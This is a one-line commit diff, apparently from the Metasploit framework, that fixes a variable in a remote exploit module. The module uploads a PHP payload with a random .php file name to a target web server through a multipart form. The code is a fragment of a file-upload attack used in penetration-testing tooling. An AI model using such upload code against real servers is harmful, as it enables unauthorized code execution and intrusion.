Fixed variable

bug/bundler_fix
Christian Mehlmauer 2014-07-29 21:02:15 +02:00
parent 61ab88b2c5
commit 75057b5df3
No known key found for this signature in database
GPG Key ID: BCFF4FA966BC32C7
1 changed files with 1 additions and 1 deletions

View File

@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote
payload_name = "#{rand_text_alpha(5)}.php" payload_name = "#{rand_text_alpha(5)}.php"
data = Rex::MIME::Message.new data = Rex::MIME::Message.new
data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"") data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
post_data = data.to_s post_data = data.to_s
print_status("#{peer} - Uploading payload #{payload_name}") print_status("#{peer} - Uploading payload #{payload_name}")